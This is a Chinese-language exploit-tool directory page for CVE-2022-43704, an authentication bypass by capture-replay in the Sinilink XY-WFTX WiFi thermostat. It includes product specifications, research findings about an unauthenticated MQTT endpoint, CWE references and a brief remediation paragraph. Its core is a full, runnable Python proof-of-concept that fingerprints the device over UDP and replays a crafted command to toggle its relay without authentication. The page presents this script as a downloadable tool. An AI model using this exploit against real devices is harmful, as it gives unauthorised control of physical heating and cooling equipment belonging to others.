Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-43704 — Sinilink XY-WFTX WiFi远程恒温模块温度控制器 | Kitploit
工具/GitHubGitHub/9lyph/cve-2022-43704
身份验证与授权嵌入式系统安全数据包嗅探与分析侦察物联网安全漏洞分析漏洞利用无线安全渗透测试硬件与物联网安全
GitHub9lyph/cve-2022-43704

CVE-2022-43704

5251年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Sinilink XY-WFTX WiFi远程恒温模块温度控制器

查看仓库

CVE-2022-43704 - 非端点可访问通道/通过捕获重放绕过认证

Sinilink XY-WFTX WiFi远程恒温器模块温度控制器

标题

sinilink

产品文档

  • 应用程序

  • 用户手册

硬件

数据手册

ESP8285

降压转换器

固件

产品描述

root@kitploit:~
Overview

WIFI Remote Thermostat High Precision Temperature Controller Module Cooling 
and Heating APP Temperature Collection XY-WFT1 WFTX

Technical Parameters

Temperature display: digital tube display
Supply voltage: DC 6~30V
USB power supply: support
Temperature control range: -40~110°C
Temperature control accuracy: 0.1℃
NTC temperature measurement range: -40~110℃
Whether to support 18B20: Yes (-40~110°℃)
Output type: relay switch, current within 10A
Alarm notification: support WeChat alarm notification
Cloud data record: 15 days cloud record, can be exported at any time
Timer switch function: support

参考

MITRE

[Exploit-DB]

制造商

Sinilink.com

研究

  • 产品使用WebSocket建立与 ws://mq.sinilink.com:8085/mqtt 的通信回连。
  • 该端点作为MQTT代理使用,且未经过身份验证。

攻击面地图

发现

非端点可访问通道

  • 运行固件V1.3.6的Sinilink WiFi远程恒温器,允许攻击者绕过原本需要通过MQTT通信的要求,而是可以直接与目标设备交互,重放Sinilink协议命令。这进而使得攻击者无需通过移动应用程序进行身份验证即可控制板载继电器。
  • 目标设备需要处于'手动模式',且前提条件是'电源开启,关闭'。

前提条件设置

弱点漏洞

  • CWE-300: 非端点可访问通道
  • CWE-294: 通过捕获重放绕过身份验证

已知受影响的软件配置

  • V1.3.6

漏洞利用代码(POC)

root@kitploit:~
#!/usr/local/bin/python3
# Author: Victor Hanna (Exploit Security)
# Sinilink WiFi Remote Thermostat
# CWE-300: Channel Accessible by Non-Endpoint

import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time
import socket
import time
from datetime import datetime

from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# Banner Function
def banner():
    print ("[+]********************************************************************************[+]")
    print ("|   Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t    |")
    print ("|   Description: Sinilink WiFi Remote Thermostat                                    |")
    print ("|   Usage : "+sys.argv[0]+" <host>                                                     |")
    print ("[+]********************************************************************************[+]")

def retrieve_device_info():

    SinilinkMsgFromClient = "SINILINK521"
    host = str(sys.argv[1])
    try:
        bytesToSend = str.encode(SinilinkMsgFromClient)
        serverAddressPort = (""+host, 1024)
        bufferSize = 1024
        print (Fore.GREEN + "[+] Retrieving Device Information ..." + Style.RESET_ALL)
        UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
        UDPClientSocket.sendto(bytesToSend, serverAddressPort)
        time.sleep(5)
        msgFromServer = UDPClientSocket.recvfrom(bufferSize)
        msg = "Message from Server {}".format(msgFromServer[0])
        msgSplit = msg.split(",")
        MAC = msgSplit[0][30:-1]
        dt = msgSplit[1][7:]
        converted = datetime.fromtimestamp(int(dt)).strftime("%A, %B %d, %Y %I:%M:%S")
        temp = msgSplit[5]
        degree = msgSplit[6][1:-1]
        relay_value = msgSplit[2][9:]
        print (Fore.CYAN + f"    --> MAC Address: {MAC}" + Style.RESET_ALL)
        print (Fore.CYAN + f"    --> Time Stamp: {converted}" + Style.RESET_ALL)
        print (Fore.CYAN + f"    --> Current Temperature Reading: {temp}{degree}" + Style.RESET_ALL)
        if (relay_value == "1"):
            print (Fore.CYAN + f"    --> Relay State: Open" + Style.RESET_ALL)
        else:
            print (Fore.CYAN + f"    --> Relay State: Closed" + Style.RESET_ALL)
    except:
        print ("Unsuccessful")

def send_payload():
    try:
        epoch_time = str(int(time.time()))
        msgFromClient = '4C:EB:D6:01:A8:7C{"MAC":"4C:EB:D6:01:A8:7C","time":'+epoch_time+',"param":[1,"M",0,20.8,"C","H",66,5,0,0,0,20.5,0,-40,0,0,5,1,0,0,0,0]}'
        bytesToSend = str.encode(msgFromClient)
        serverAddressPort = (""+host, 1024)
        bufferSize = 1024
        print (Fore.GREEN + "[+] Sending Payload ..." + Style.RESET_ALL)
        time.sleep(10)
        UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
        UDPClientSocket.sendto(bytesToSend, serverAddressPort)
        time.sleep(15)
        UDPClientSocket.close()
    except:
        print ("Unsuccesful")
    
# Main Function
def main():
    os.system('clear')
    banner()
    retrieve_device_info()
    send_payload()
    retrieve_device_info()



if __name__ == "__main__":
    if len(sys.argv)>1:
        host = sys.argv[1]
        main()
    else:
        print (Fore.RED + f"[+] Not enough arguments, please specify target and relay!" + Style.RESET_ALL)

修复步骤

  • 充分验证通信通道两端实体的身份。验证不足或不一致可能导致对任一通信实体的识别不充分或不正确。这可能会产生负面影响,例如对通道另一端实体的错误信任。攻击者可以利用这一点,在通信实体之间进行中间人攻击并冒充原始实体。在缺乏充分身份验证的情况下,此类攻击者可以窃听并可能修改原始实体之间的通信。

占领演示

发现者/致谢:

Victor Hanna of Exploit Security

关注我

Mastodon Linkedin Youtube

下载工具